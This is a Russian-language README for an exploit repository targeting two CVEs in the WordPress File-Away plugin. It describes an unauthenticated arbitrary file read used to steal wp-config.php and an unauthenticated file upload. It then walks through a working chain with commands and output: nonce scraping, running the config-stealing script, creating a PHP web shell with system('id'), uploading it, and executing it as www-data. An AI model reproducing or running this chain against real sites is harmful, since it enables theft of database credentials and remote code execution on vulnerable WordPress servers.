
Скрипты для эксплуатации удаленного выполнения кода для плагина WordPress File-Away (CVE-2025-2512 & CVE-2025-2539)
Этот репозиторий содержит информацию об уязвимостях и скрипты, обнаруженные в File-Away — плагине WordPress, используемом для управления файлами.
Этот плагин содержит две уязвимости, которые могут привести к удаленному выполнению кода (протестировано на File-Away 3.9.9.0.1):
Плагин File-Away для WordPress уязвим к неаутентифицированному произвольному чтению файлов во всех версиях до 3.9.9.0.1 включительно.
Эта уязвимость существует из-за двух проблем: отсутствия проверки аутентификации в функции lib/cls/class.fileaway_stats.php:file_away_stats->ajax() и использования слабого алгоритма шифрования в функции lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Это делает возможным для неаутентифицированных злоумышленников чтение произвольных файлов, включая файл конфигурации WordPress (wp-config.php).
Плагин File-Away для WordPress уязвим к неаутентифицированной произвольной загрузке файлов во всех версиях до 3.9.9.0.1 включительно.
Эта уязвимость существует из-за двух проблем: отсутствия проверки аутентификации и плохой проверки типа файла, обе в функции lib/cls/class.fileaway_management.php:fileaway_management->upload().
Это делает возможным для неаутентифицированных злоумышленников загрузку произвольных файлов, что может привести к выполнению кода.
Если плагин file-away установлен и активирован на целевой WordPress-установке, nonce fileaway_stats должен присутствовать на главной странице:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
Установите зависимости python:
python3 -m venv venv && venv/bin/pip install httpx
Используйте уязвимость произвольного чтения файлов, чтобы получить файл конфигурации WordPress (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Создайте PHP-файл для загрузки:
echo '<?php system("id"); ?>' > /tmp/exec.php
Используйте уязвимость произвольной загрузки файлов, чтобы загрузить -файл на сервер:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ По умолчанию файл загружается в каталог wp-content ⚠️
Получите доступ к загруженному PHP-файлу:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)